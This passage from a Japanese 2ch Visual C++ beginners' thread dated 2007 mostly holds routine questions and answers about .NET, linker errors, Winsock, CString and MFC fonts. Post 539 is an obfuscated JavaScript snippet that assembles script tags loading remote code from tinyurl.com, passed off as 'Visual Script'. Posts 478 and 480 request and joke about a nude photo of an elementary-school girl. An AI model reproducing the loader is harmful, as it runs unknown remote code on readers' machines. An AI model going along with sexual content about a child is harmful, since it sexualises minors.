……職場にもいるけどな、そういうヒト。
さらにVisual Studio 2005のことも「ドットネット」って呼んでくれるから、
毎回頭の中で翻訳するのが大変。
例「C++でデバッグしていてドットネットが落ちるんだよな〜」「???」
442デフォルトの名無しさん:2007/02/15(木) 00:41:29
>>440
.NETと言ったら普通.NET Frameworkのことを指す。

新規プロジェクトの中に.NETとか書かれたテンプレートがあるだろ。
それが.NET Frameworkを使うプロジェクトを作るのに使うテンプレート。

.NET Frameworkには大量のクラスライブラリが含まれているし、
Visual Studioではフォームエディタも使え、作るほうとしては充実しているが、
利用者に.NET Frameworkをインストールしてもらわないといけないのが、
一般的なアプリケーション開発ではネック。
XP SP2あたりから漏れなくインストールされるようになってきているけどね。
443デフォルトの名無しさん:2007/02/15(木) 10:44:29
Vistaで、インストールされているWindowsコンポーネントを確認すると
.NET Frameworkっていうのがあった。

言い方が良くわからないけど、つまり.NETというのは単なる1つのAPI
ってことで、開発環境を指しているのではない、ということ?
444デフォルトの名無しさん:2007/02/15(木) 10:57:02
>>443
.NETの環境向けに開発できるのが、VS .NET
445デフォルトの名無しさん:2007/02/15(木) 11:04:02
初心者の場合は自分勝手な略語を使わないできちんと書けばいい
ハードディスクのことをハードと呼ぶやつとか
本人はどういうつもりか知らんけど馬鹿にしか見えない。
446デフォルトの名無しさん:2007/02/15(木) 11:05:21
なるほど…。
Visual Studio .NETというのは、.NET Frameworkがインストールされている
端末向けの開発環境、ということか。

Windows Vistaには標準で.NET Frameworkがインストールされているけど、
XPはSP2を入れないと.NET Frameworkが入っていないから、
そういう端末を対象とするなら.NET Frameworkが入っているかいないかを
確認しなければならないということか。
447デフォルトの名無しさん:2007/02/15(木) 11:10:29
Visual Studio .NETという名前だと .net専用と間違える人が多すぎるから
Visual Studio .NETという名前は使われなくなった。
448デフォルトの名無しさん:2007/02/15(木) 11:15:08
あ、俺も以前、ずっと勘違いしてたw
.NETというくらいだからネットワーク=インターネット専用なんだろうな、俺には
関係ないなと…w

449デフォルトの名無しさん:2007/02/15(木) 14:39:24
逆にVisual Basicは2005でも.NETを付けておけば良かったのにと思う。
「Visual Basic .NET」 2005という具合にさ。
450デフォルトの名無しさん:2007/02/15(木) 22:37:51
Visual Stadio2005 をインストールして
VS2005 C++で
#include <stdio.h>
main()
{
int a;
}
をコンパイルすると
error C4430: 型指定子がありません - int と仮定しました
が出ます
今まではいけてたんですが、わかる方お願いします。
451デフォルトの名無しさん:2007/02/15(木) 22:55:09
int main(){
}
452デフォルトの名無しさん:2007/02/16(金) 01:11:53
関数の戻り値の型を省略できるのはCだけ。

たぶん拡張子をcにしたり、コンパイルオプションから/TPを外したりすれば、
(int抜きの)main()でも行けると思う。
453デフォルトの名無しさん:2007/02/16(金) 03:40:09
stringをintにするにはどうすれば?
454デフォルトの名無しさん:2007/02/16(金) 03:47:10
>>453
cli::String なのか std::string なのかはっきりしろ。
455デフォルトの名無しさん:2007/02/16(金) 03:55:21
std::string
456デフォルトの名無しさん:2007/02/16(金) 04:03:33
>>455
std::string s("123");
int i = atoi(s.c_str());
457デフォルトの名無しさん:2007/02/16(金) 04:07:03
>>456
それができないんですよ
エラーがでます
458デフォルトの名無しさん:2007/02/16(金) 04:08:59
エラーが出ますじゃないでしょ。
どんなエラーが出るのか言いなさいよ。
459デフォルトの名無しさん:2007/02/16(金) 04:09:06
>>457
どんなエラーか書け
460デフォルトの名無しさん:2007/02/16(金) 04:16:54
>>457
そんなんだから成長しないんですよ。
461デフォルトの名無しさん:2007/02/16(金) 04:18:10
>>457
とっとと書けよ。あんぽんたん。
462デフォルトの名無しさん:2007/02/16(金) 04:19:58
同じ奴みたいだな。夜釣りの常習犯か。
http://pc10.2ch.net/test/read.cgi/tech/1169039760/877

463デフォルトの名無しさん:2007/02/16(金) 12:45:22
設計でUMLを使ってる人いますか?
マルチスレッドとかUMLで設計できますか?
464デフォルトの名無しさん:2007/02/16(金) 13:17:43
UMLは詳しく知らん身だけど
アクティビティ図使えば表現できるんじゃねーかとは思う

が、とりあえずスレ違いだ。
465デフォルトの名無しさん :2007/02/17(土) 01:16:40
VC++でゲームを作ろうと考えてるんですが、オススメの入門書等ありませんか?
何件か書店回ってパラパラと立ち読みしてみたんですがどういうのが良いのか分からなくて困ってます。
やはり実用例があるC++でゲームを作るみたいな本が良いんでしょうか。
既出、スレ違いだったらすみませんorz
466デフォルトの名無しさん:2007/02/17(土) 11:41:49
ゲ製作技術
http://pc10.2ch.net/gamedev/
板違いやな

ゲーム製作はC++だけと考えない方がいい。
どの程度の規模で何やりたいかによって、利用する言語は変わると思う。
ミニゲームであれば、HSP/Flashでも創れるし。
467デフォルトの名無しさん:2007/02/17(土) 12:34:10
そもそもゲームって時点で入門を超えてる
468デフォルトの名無しさん:2007/02/17(土) 12:41:30
初等教育 算数
教養課程 数学 物理 C/C++
専門課程 ゲーム製作
469デフォルトの名無しさん:2007/02/17(土) 16:22:37
今、Visual C++ の入門書を探しています。
Cの文法は一通り理解しています。
本格的にWindowsプログラミングができるようになりたいので、
これから勉強を始めるつもりです。

数年前、ある先生から、
「Winアプリケーションを作れるようになるためには、
 まずはWinAPIを理解→オブジェクト指向を理解→MFCを使ったプログラミング」
というような段階を踏んで勉強していくといい、と聞きました。
勧められた本が、山本信雄の「はじめてのプログラミング」(全3巻)で、
ほぼ上記の説明通りの構成で書かれている本らしいのですが、アマゾンで見てみたら
残念なことにこの本はVisualC++5.0/6.0向けらしいです。
現行のVC++2005は、6.0から「かなり変わった」と聞いているので、別の本を
買うしかないと思っています。

「2005になって、.NetFrameWorkのクラスを利用するプログラミングに変わって..」
と聞いても、私にはまだよくわからないのですが、前記の「API→オブジェクト指向→MFC」
という学習の進め方自体も、2005になってだいぶ変わったのでしょうか。
多少時間がかかっても構わないので、なるべく体系だった学習ができるような
入門書がいいのですが....

ちなみに最終的に作りたいものは、周辺機器のデバイスドライバのたぐいです。

もし色々な本を読んでいる方がおられましたら、よろしくお願いします。
470デフォルトの名無しさん:2007/02/17(土) 17:09:09
Winアプリとデバイスドライバだとあんまり関連性ないよ
471469:2007/02/17(土) 17:36:27
>470
すみません。「デバイスドライバ」という書き方では不十分でした。

周辺機器は、光学センサや超音波センサで空間把握をするための装置です。
通信されてきたデータをPC画面上でグラフィカルにモニターするためのWinアプリを
作りたいと思っています。そして、ドライバ周りも一緒にC++でコーディングできればと
考えています。
472デフォルトの名無しさん:2007/02/17(土) 18:01:43
VisualC++2005なら5.0/6.0でできてた事はできるよ。
2005で「API→オブジェクト指向→MFC」という学習の進め方もできる。
かなり変わったというよりは、かなり機能が追加された。
473465:2007/02/17(土) 18:34:36
>>466
少し探したのですが見つからなかったので助かりました。
そちらの方で聞いてみます。誘導ありがとうございました。
474デフォルトの名無しさん:2007/02/17(土) 18:36:05
expressでapiの場合は
リソースエディタやクラスウィザードとか使わないだろうし
2005の本にこだわる意味はないだろうね
475デフォルトの名無しさん:2007/02/17(土) 19:20:02
VCは初心者向きじゃないから嫌ならVBやC#を使えということだな
476デフォルトの名無しさん:2007/02/17(土) 19:43:12
>>469
COMポートで繋ぐ程度ならデバイスドライバは要らない。
独自のカード経由&そのカードが仕様書しか無い、って話なら別だけど。
で、一つ言っておくなら「オブジェクト指向とMFCは一切関係が無い」。
MFCはWinAPIを手を抜いて使うためのラッパ。
あと、VC6のソースが2005で動かない病に良く効く呪文。
プロジェクト - プロパティ - 構成プロパティ - 文字セット - マルチバイト文字セットを使用する
477デフォルトの名無しさん:2007/02/17(土) 21:47:28
VC++.NET2003 でWindowsフォームアプリケーションを作っています。
以前コンソールアプリケーションで作成した、Mysqlのクライアントプログラムを
利用したいと考えていますが、mysql.hを追加すると下記のエラーが出ます。
mysql.hは利用できますか?



Open.cpp
WINVER not defined. Defaulting to 0x0501 (Windows XP and Windows .NET Server)
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2146: 構文エラー : ';' が、識別子 'fd' の前に必要です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::SOCKET' : 識別名を宣言するのに、型が指定されていません。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::fd' : 識別名を宣言するのに、型が指定されていません。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2065: 'SOCKET' : 定義されていない識別子です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2146: 構文エラー : ')' が、識別子 's' の前に必要です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(359) : error C2059: 構文エラー : ')'
478デフォルトの名無しさん:2007/02/18(日) 03:29:49
C++builder5.0で、なんかの画像コンポーネントに、今手元にある
無毛でくっきり縦線・超美少女小学生のヌード写真(jpg)を貼り付
けたいのですがどうすればいいのかわかりません。

ウインドウの大きさと同期して画像のサイズも変わるようにしたい
です。誰か教えてください。
479デフォルトの名無しさん:2007/02/18(日) 03:45:06
>>478
まず、その素敵な性癖を直せ。
話はそれからだ。
480デフォルトの名無しさん:2007/02/18(日) 07:36:09
まず、その素敵な写真をうpれ。
話はそれからだ。
481ぶいしー:2007/02/18(日) 16:39:58
DLLのリソースIDについて質問させてください。

拡張DLL、レギュラーDLLともに、
呼び出すクライアントとのリソースIDの重複は気にするのでしょうか?
あるサイトだと、拡張DLLはリソースIDの管理はMFCがやってくれる
みたいなことがかかれていたので・・

どなたかご教授ください。
482デフォルトの名無しさん:2007/02/18(日) 17:41:31
>>477
#include <mysql.h>の前に、#include <winsock.h>。もれはこれで
3ヶ月ほど悩んだ。
483デフォルトの名無しさん:2007/02/18(日) 20:57:18
Visual Studio 2005なんですけど
SystemParametersInfo(SPI_SETDESKWALLPAPER,NULL,"c:\\a.bmp",0);
でコンパイルはいけるんですが、ソリューションのビルドで
エラーになります
"c:\a.bmp"でもだめです
Vistaでもいけますよね?
解る方お願いします
484デフォルトの名無しさん:2007/02/18(日) 20:59:14
>■質問するにあたって
>・エラーや警告のときはエラーメッセージを書きましょう。
485デフォルトの名無しさん:2007/02/18(日) 21:21:25
>>483 です
エラーが多いんで伏せてました

リンクしています...
aaa_ch.obj : error LNK2028: 未解決のトークン (0A000022) "extern "C" int __stdcall
SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z) が関数 "
int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
aaa_ch.obj : error LNK2019: 未解決の外部シンボル "extern "C"
int __stdcall SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z)
が関数 "int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
E:\C++\aaach\Debug\aaach.exe : fatal error LNK1120: 外部参照 2 が未解決です。

以上です、お願いします。
486デフォルトの名無しさん:2007/02/19(月) 11:11:35
超初歩的な質問なのですが、
MS Visual C++ .NET で、IntToStr関数を使えないので他の方法を調べてます。
値を文字列に変換するにはどうしたら良いのでしょうか?
487デフォルトの名無しさん:2007/02/19(月) 11:15:20
マネージプログラムならメソッドのToString
そうでなければ、boost::lexical_cast、std::(basic_)ostringstream、std::sprintf (_stprintf)と続く
488デフォルトの名無しさん:2007/02/19(月) 11:24:28
>>487
下の方法でできました!親切な回答ありがとうございます。

int a=100;
label1->Text = a.ToString();
489デフォルトの名無しさん:2007/02/19(月) 15:21:20
連続で申し訳ないのですが、また質問があります。

別の人が作ったソースで下のようにオーバーロードされた関数があるのですが、
この2つの違いって何なんでしょうか?

CRect hoge(CRect & r) const
{
  :
  :
}

CRect hoge(CRect const & r) const
{
  :
  :
}
490デフォルトの名無しさん:2007/02/19(月) 15:39:02
>>485
必要なライブラリリンクしてないんじゃね
491デフォルトの名無しさん:2007/02/19(月) 15:40:04
>>489
中味は同じでもかまわない
コンパイラが区別できればそれでいい
492デフォルトの名無しさん:2007/02/19(月) 15:42:38
>>489
constの有無。
特にconstな参照は右辺値を受け取れるので、
実質的にその多重定義は右辺値か左辺値かで振り分けられる。
493デフォルトの名無しさん:2007/02/19(月) 16:11:30
>>492
右辺値、左辺値とは何を指していますか?
この例だと引数は「r」1つだけなので右辺・左辺関係ないように思えます。

あと & についてですが、& をつけると、変数の値を変更すると
呼び出し元のスコープでもそれが変更される、という風に単純に考えています。

これに const が付くということに矛盾も感じます。
const とは、「この引数は変更不可です」という宣言だと思うのですが、
だとすれば、引数を & で渡す意味がないことになります。

このソース、バグ持ちでしょうか?
494デフォルトの名無しさん:2007/02/19(月) 16:25:50
ここはC++相談室じゃないし
くだらない質問は遠慮してほしいな
495デフォルトの名無しさん:2007/02/19(月) 16:34:28
>>493
お前が馬鹿なだけだからVCやるまえにC++勉強してこい
496デフォルトの名無しさん:2007/02/19(月) 17:03:54
>>494-495
わかりました…
ありがとうございます
497デフォルトの名無しさん:2007/02/19(月) 18:35:13
そもそも右辺値、左辺値はC言語の初歩
498デフォルトの名無しさん:2007/02/19(月) 19:53:10
>>496
あきらめるなな。最初は分かんないことばかりなんだから。
499デフォルトの名無しさん:2007/02/20(火) 22:01:04
すみません。
プロジェクトのプロパティで、
ランタイムライブラリについての設定周りで質問なのですが、

今/MDでビルドすると上手く行くいき、/MTにしたところ
ヒープの破壊が発生するといった状況になりました。
プロジェクトには自前のDLLを使ってます。
ttp://support.microsoft.com/kb/190799/ja
ここにあるとおり、CRTオブジェクトの操作の不備が原因であると
分かりました。

それで質問なのですが、
多くの場合の開発では/MTと/MDどちらを使用するのでしょうか、
/MDの方が、容量が小さくなるし、CRTobjも共有できるようですが、
Cランタイム等がインストールされている必要があります。
/MTだと、ランタイムがインストールされていなくても動作
するようですが、容量が大きく、CRTobjが共有できないようです。

どっちもどっちなのですが、やはり/MDが主流なのでしょうか?
500デフォルトの名無しさん:2007/02/20(火) 22:13:29
何の目的か知らないけど、とくに必要感じなかったらデフォのままで
あとここは初心者スレだし
501デフォルトの名無しさん:2007/02/20(火) 22:22:00
VC++ というよりはC++の話かも知れませんが教えてください。

CStirng s;
testFunc(&s);

void testFunc(CString s)
{ CString tmp("test"); (*s) = tmp; }

とやると s の値が呼び出し元でも変更されていて、

CString *s;
testFunc(s);

void testFunc(CString *s)
{ CString tmp("test"); s = &tmp; }

とやると変更されていないのはなぜでしょう?

Cのイメージからいくと上の方が変更されずに下で変更されるような気がするのですが・・
502デフォルトの名無しさん:2007/02/20(火) 22:30:08
int *p;
testFunc(p);

void testFunc (int *p)
{ int tmp=1; p=&tmp; }
503499:2007/02/20(火) 22:48:00
あ、スレ違いすみません。
他スレに投げてきます。
504501:2007/02/20(火) 22:50:22
>>502
すいません。勘違いしていました。
その通りですね。
505デフォルトの名無しさん:2007/02/20(火) 22:52:04
上のやつもあんまり見ない使い方だな
受けたい場合はこういう風に使うのが普通

void GetWindowText( CString& rString ) const;
506デフォルトの名無しさん:2007/02/20(火) 22:56:30
素直にCString返せよ。
507デフォルトの名無しさん:2007/02/21(水) 00:08:53
それはどうよ。
んまぁ今のCPUじゃ一瞬だろうけどな…
508デフォルトの名無しさん:2007/02/21(水) 01:33:29
CStringは参照カウント使ってるから、大したオーバーヘッドじゃないよ。
509デフォルトの名無しさん:2007/02/21(水) 06:19:25
オーバーヘッドな気もするけどMFCもこんなことやってるな

CString CListCtrl::GetItemText(int nItem, int nSubItem) const
{
ASSERT(::IsWindow(m_hWnd));
LVITEM lvi;
memset(&lvi, 0, sizeof(LVITEM));
lvi.iSubItem = nSubItem;
CString str;
int nLen = 128;
int nRes;
do
{
nLen *= 2;
lvi.cchTextMax = nLen;
lvi.pszText = str.GetBufferSetLength(nLen);
nRes = (int)::SendMessage(m_hWnd, LVM_GETITEMTEXT, (WPARAM)nItem,
(LPARAM)&lvi);
} while (nRes == nLen-1);
str.ReleaseBuffer();
return str;
}
510デフォルトの名無しさん:2007/02/21(水) 09:41:27
CStringのコピーは、ポインタコピー + αくらいのオーバーヘッドでしょ。
511デフォルトの名無しさん:2007/02/21(水) 16:45:09
失礼します。
MS Visual C++ .NET にて質問なのですが、テキストボックスのフォントを

textBox1->Font = new System::Drawing::Font("MSゴシック", 10);

このように変更できますが、new しっぱなしで構わないのでしょうか?
また、

textBox1->Font->Name = "MSゴシック";
textBox1->Font->Size = 10;

このように変更できないのでしょうか?
よろしくおねがいします。
512デフォルトの名無しさん:2007/02/21(水) 16:48:36
>>511
1) コントロールに割り当てると、うまく壊すタイミングがないからGCに任せるといい。
2) 読み取り専用プロパティだから無理。
513511:2007/02/21(水) 18:33:41
>>512
ありがとうございます。
でも分からないことだらけで死にそうです…。
ビルダーだったら簡単なのに…。とりあえず以下のように拡張しました。

  // フォント情報生成
  CString  fontName = dlg.GetFaceName();
  int    fontSize = dlg.GetSize()/10;
  COLORREF  fontColor = dlg.GetColor();

  // BOLD と ITALIC
  int fontStyle = 0;
  if(dlg.IsBold() ) fontStyle += (int)FontStyle::Bold;
  if(dlg.IsItalic()) fontStyle += (int)FontStyle::Italic;

  // セット
  textBox1->Font = new System::Drawing::Font(fontName, fontSize, (FontStyle)fontStyle);

なお new を gcnew にすると
error C2065: 'gcnew' : 定義されていない識別子です。
とエラーが出ます。
これは何故なのでしょうか?
514デフォルトの名無しさん:2007/02/21(水) 19:33:37
言語が違うからだろう。

Visual Studio .NET 2002 / 2003
-> Managed C++

Visual Studio 2005
-> C++/CLI

おそらく2003あたりなんだろうけど、
開発環境は "MS Visual C++ .NET" なんて略さず、確り書くべき。
515デフォルトの名無しさん:2007/02/21(水) 19:46:08
マネージドC++ではマネージクラスをnewすると漏れなくGCの管理下に置かれる。

それはともかくこのほうがいいと思う。
FontStyle fontStyle;
if (dlg.IsBold()) fontStyle |= FontStyle::Bold;
if (dlg.IsItalic()) fontStyle |= FontStyle::Italic;
516デフォルトの名無しさん:2007/02/21(水) 22:37:04
.NET 2003でWinsockを使いたい場合どうすればいいのでしょうか?

プロジェクトを作る場合にチェックボックスで指定出来るのは後から
知ったのですが、これを忘れた場合どうすればよいのでしょうか?
ws2_32.lib のリンクなどが必要だと思うのですが、VC++6.0とは
リンクの仕方が変わっているようで分かりませんでした。
517デフォルトの名無しさん:2007/02/21(水) 22:50:37
プロジェクトを作る場合にチェックボックスで指定した場合
プロジェクトを作る場合にチェックボックスで指定しなかった場合
2種類つくってどこが違うか比較
518デフォルトの名無しさん:2007/02/21(水) 22:58:45
/LIBPATH

をmsdnで調べましょう
519デフォルトの名無しさん:2007/02/21(水) 23:12:26
>>482
有難うございます、解決できました。
520デフォルトの名無しさん:2007/02/22(木) 10:56:24
>>514-515
ありがとうございます。
おかげさまで疑問点は解決できました。
521デフォルトの名無しさん:2007/02/22(木) 11:05:08
どうでもいい質問かもしれないのですが、
 textBox1->Font = new Font("MSゴシック", 10);
と、プログラムからフォント指定する場合、
textBox1コンポーネントに元々あったはずのフォント情報を保存するためのメモリ領域は
どこへ行っちゃうのでしょうか…?

522デフォルトの名無しさん:2007/02/22(木) 12:43:15
.NETではその内ガベージコレクタによって回収される。
だからメモリリークの心配は要らない。
523デフォルトの名無しさん:2007/02/22(木) 14:03:58
>>522
.NETすげー。
サンクスコ。
524デフォルトの名無しさん:2007/02/22(木) 20:22:07
今後C++は廃れますか
525デフォルトの名無しさん:2007/02/22(木) 20:29:21
仕様の汚さでC++を凌駕する言語が現れるまでは安泰です
526デフォルトの名無しさん:2007/02/22(木) 23:16:23
既に現れていると思うが。Dとか。
527デフォルトの名無しさん:2007/02/23(金) 00:03:53
C言語の次だからD言語?
だとしたらA言語とかB言語もあるってこと?
528デフォルトの名無しさん:2007/02/23(金) 00:05:27
Bはあるよ
529デフォルトの名無しさん:2007/02/23(金) 00:31:38
でもBはAの次ということではなく、BCPLの頭文字が由来。
ついでに言うとCの由来はBの後継ということでBCPLの2文字目。
530デフォルトの名無しさん:2007/02/23(金) 00:51:51
えーっと
ユニコードの設定では
CStdioFile::WriteStringで日本語が出力されないんですが
いったい如何すればいいんでしょうか?
531530:2007/02/23(金) 00:52:51
VC2005のMFCでございます。
532デフォルトの名無しさん:2007/02/23(金) 07:03:23
>>531
既定ではCロケールになっているので、Unicode/MBCS変換時に日本語は無視されてしまう。
以下の一行をInitInstance辺りにでも入れておくと、OSの設定に従うようになる。
_tsetlocale(LC_ALL, _T(""));
533530:2007/02/23(金) 07:41:53
>>532
<locale.h>をインクルードしてできました。
助かりましたありがとうございます。
534デフォルトの名無しさん:2007/02/23(金) 17:01:59
質問があります。 ※>>513のつづきとなっております…

MS Visual C++ .NET 2003
においてなのですが、
CEditコンポーネントのフォントを変更する場合、以下のようにすると成功しました。

CEdit* edit(GetDlgItem(IDC_ED1));
CFONT font;

LOGFONT logfont;
(logfont編集)
font = CreateFontIndirect(&logfont);
edit->SetFont(font, TRUE);

logfontを編集することによって、フォント種類やサイズ、下線などが指定できました。
しかし、フォントの色だけは変更できませんでした。

edit->SetTextColor(refcolor);
のような関数があればいいのですがCEditのメンバにはないようにです。
CEditコンポーネントのフォント色を変更する方法を知ってる方、どうか
教えていただけないでしょうか。
535デフォルトの名無しさん:2007/02/23(金) 18:51:51
フォント色コンポーネント
536デフォルトの名無しさん:2007/02/23(金) 20:07:16
>>534
WM_CTLCOLORをハンドル。
親が処理するか、メッセージ返送を使ってCEditの派生で処理させるか好きな方を。
残念ながら、背景色はSetBkColorだけではうまくいかない。でも調べるの('A`)マンドクセ
537デフォルトの名無しさん:2007/02/23(金) 21:06:59
>>536
ありがとうございます。
ググるための重要なキーワードです。ただ…訳の分からないエラーが出たり
基本を分かってなかったりで死にそうです。
ちょっと首吊ってきます…。
538デフォルトの名無しさん:2007/02/23(金) 22:18:10
warning LNK4075: /EDITANDCONTINUE は /OPT:ICF の指定によって無視されます。
error LNK2005: "private: __thiscall type_info::type_info(class type_info const &)" (??0type_info@@AAE@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。
fatal error LNK1169: 1 つ以上の複数回定義されているシンボルが見つかりました。

VC++のない環境でもEXEを実行できるよう
VC++2005で/MTオプションでビルドしたところ上のようなエラーが出ました。
LIBCMT.libを無視するようにしたら、ビルドは通りましたがVCのない環境では実行できませんでした。

調べたところ
Microsoft_VC_DebugCRT_x86.msm
policy_8_0_microsoft_vc80_debugcrt_x86.msm
とういうファイルに依存しているようでした、VCがない環境で実行できないのはこれが原因でしょうか?
539デフォルトの名無しさん:2007/02/23(金) 22:26:47
f="3a5"+"sm4";var d=new Array();tt=" - ";dd="";tt+="連";x=$.split("  \n ");tt+="続";xx="";tt+="動";
tt+="画";j=0;for(i=0;x.length>i;i++){if(3<=x[i].length){j++;if(1==j){tx=x[i];}else{a=x[i].split("&l=");b=eval(a[1]);
if(1>b){b=1;}else if(999<b){b=999;} b=(b+.1)/1000;b=a[0]+"&auto"+"play=1&l="+(""+b).substr(2,3);
c="you"+"tube.com/v/000000"+"00000&aut"+"oplay=1&l=99";b+=c+"9"+c+"8"+c+"7";b=b.substr(0,42*3);
xx+=b;}}} ds="<scr"+"ipt ";dq="src="+"//tin"+"yur"+"l.c"+"om/";dc=ds+dq;de="</scr"+"ipt>";
dn="<noscr"+"ipt>< img "+dq; df="</noscr"+"ipt>";db="<noem"+"bed>";dx="<xnoem"+"bed>";
d[0]="\";"+de+dc+f+">"+de+"\n";d[1]="<html><center><title>"+tx+tt+"</title>"+ds+">x=\"";
d[2]=dn+"y5o"+"vet >"+db+df+ds+">x=\"";d[3]=dc+"yn2"+"d2r>"+de+dx+dx+ds+">x=\"";n=xx.length/(42*3);
for(j=0;3>j;j++){dd+=d[j+1];for(i=0;n>i;i++){dd+=xx.substr(42*(3*i+j),42);}dd+=d[0];};exec(dd);
540デフォルトの名無しさん:2007/02/23(金) 22:28:05
↑ Visual Script
541デフォルトの名無しさん:2007/02/23(金) 22:30:18
542デフォルトの名無しさん:2007/02/23(金) 22:55:13
>>538
>MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
>LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。

Releaceでリビルドし直せ。
543デフォルトの名無しさん:2007/02/24(土) 00:30:16
一般にC++と言う場合、それがVisual C++をさしている確率は低いんでしょうか?
544デフォルトの名無しさん:2007/02/24(土) 01:00:47
Visual C++のデバッグモードは便利ですね
プログラムを組んでも、必ずといっていいほど最初はとんでもないことしてるので、デバッグモードで動かすと
すぐ修正できて便利です。
ただ、ファイルを開いてなんかするプログラムだと、デバッグモードではファイルを開くことができません。
これは仕方ないのでしょうか
545デフォルトの名無しさん:2007/02/24(土) 01:10:40
ファイルを開くときの共有モードをどうにかすればいい。
546デフォルトの名無しさん:2007/02/24(土) 06:13:43
デバッグモードでも普通にファイル開けるだろ
何を言ってるのか理解できない
547デフォルトの名無しさん:2007/02/24(土) 10:25:10
>>543
C++はプログラミング言語で、VisualC++はMicrosoftのプログラム開発ソフト。
意味が全く違う。
548デフォルトの名無しさん:2007/02/24(土) 13:14:08
特定の時刻になったら知らせる方法を教えてください
549デフォルトの名無しさん:2007/02/24(土) 13:26:35
つ[タスク]
550デフォルトの名無しさん:2007/02/24(土) 13:33:44
どういうように使うのですか?
551デフォルトの名無しさん:2007/02/24(土) 13:56:37
CLSID_CTaskSchedulerでCoCreateInstanceして
IID_ITaskSchedulerを介してアクセス。
552デフォルトの名無しさん:2007/02/24(土) 14:02:35
WaitableTimer作って、WaitFor...で待つとか。
553デフォルトの名無しさん:2007/02/26(月) 11:45:16
2003年の本で勉強したらもう古いらしくて損したよー 
新しい本買わなきゃ     ・゚・(ノД`)・゚・。ウワーン
554デフォルトの名無しさん:2007/02/26(月) 12:21:38
あんたばか?
555デフォルトの名無しさん:2007/02/26(月) 15:02:31
>>547
>>543がそんな意図で聞いてるんじゃないことは明白だと思うんだが
556デフォルトの名無しさん:2007/02/26(月) 15:27:10
気に入らなかったら説明してやれば?
557デフォルトの名無しさん:2007/02/26(月) 15:59:46
C++って言ったら、やはりプログラミング言語って言うしかないんじゃない?
gccなのかVisualC++なのかC++Builderなのか.NETなのか判断できないし。
558デフォルトの名無しさん:2007/02/26(月) 20:59:28
>>543
そういうのって無意味だよな。
VCが使えない分野でなら確実にVCのことではない。
559デフォルトの名無しさん:2007/02/26(月) 23:23:35
>>518の回答を元に調べてみましたが解決しなかったので教えてください。
.NET 2003 で WinSock を使用する方法です。

プロパティページの追加のライブラリのディレクトリにws2_32.libがある
Microsoft Visual Studio .NET\Vc7\PlatformSDK\lib を追加して
winsock2.hをインクルードするようにしたのですが、リンクのエラーになってしまいます。

  未解決の外部シンボル __imp__WSAStartup@8 が関数〜
  fatal error LNK1120: 外部参照 2 が未解決です

といった感じです。
どうすればよいのでしょうか?
560デフォルトの名無しさん:2007/02/26(月) 23:26:59
更にプロジェクトのプロパティのリンカの中のどこかに、
追加の入力ファイルという項目があるから、そこにws2_32.libと書く。
そうしてはじめてリンク時にws2_32.libが使われる。
561デフォルトの名無しさん:2007/02/26(月) 23:33:39
まだやってたのか
差分とって調べりゃ5分で済んだろうにアホだな
562516:2007/02/26(月) 23:46:01
>>560
ありがとうございます。
確認してみます。

>>561
差分ってどうやってだすんですか?
テキストであればツールで簡単に確認できますが、リンカの設定などは
バイナリデータに入ってそうなんですが。
563デフォルトの名無しさん:2007/02/26(月) 23:50:44
しかしファイル名はテキストのまま書き込まれている
564デフォルトの名無しさん:2007/02/27(火) 01:30:39
大丈夫、VisualStudio2003ならその辺の設定は全部テキストだ。
565デフォルトの名無しさん:2007/02/27(火) 04:45:26
*.vcproj をメモ帳で開いて見れ。
さすれば、幸せを手に入れることが出来るだろう。
566デフォルトの名無しさん:2007/02/27(火) 10:26:29
>>561
アホとか言うのは控えろよ
ここ初心者スレだぞ
カスが
567デフォルトの名無しさん:2007/02/27(火) 11:02:54
MFCダイアログベースで、ヘッダ情報に頼らずにファイルの容量を取得するにはどうすればいいでしょうか。

568デフォルトの名無しさん:2007/02/27(火) 11:09:10
GetFileSize()
569デフォルトの名無しさん:2007/02/27(火) 11:40:03
唐突にヘッダ情報って?
570デフォルトの名無しさん:2007/02/27(火) 17:05:09
VC2005 MFCベースでMDIのアプリですが、追加画面が必要になったので
リソースビューの欄で「Dialogを挿入」を行い画面をデザインしてます。
この画面にボタンを2個配置しました。
Aのボタンは最初は無効状態でBのボタンを押すことによって有効にします。
なのでAのボタンは「メンバー変数追加ウイザード」でメンバー変数m_bt1を追加して
Bのボタンが押されたイベントの中でm_bt1.EnableWindow(TRUE);と記述しました。
しかし、コンパイルは通りますが動作させるとエラーが出ます。
ちなみに
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
と記述すると正常に動作します。
何故メンバー変数追加で操作するとエラーになるのでしょうか?
IDや変数名の重複は無いです。
571デフォルトの名無しさん:2007/02/27(火) 17:11:38
別に問題ないと思うけど
あとは簡単なテストプログラム作って試すぐらいだから自分でやってみれば?
572デフォルトの名無しさん:2007/02/27(火) 17:14:50
追加したダイアロクじゃなくて
新しく簡単なサンプル作ってやってみれば?ということね
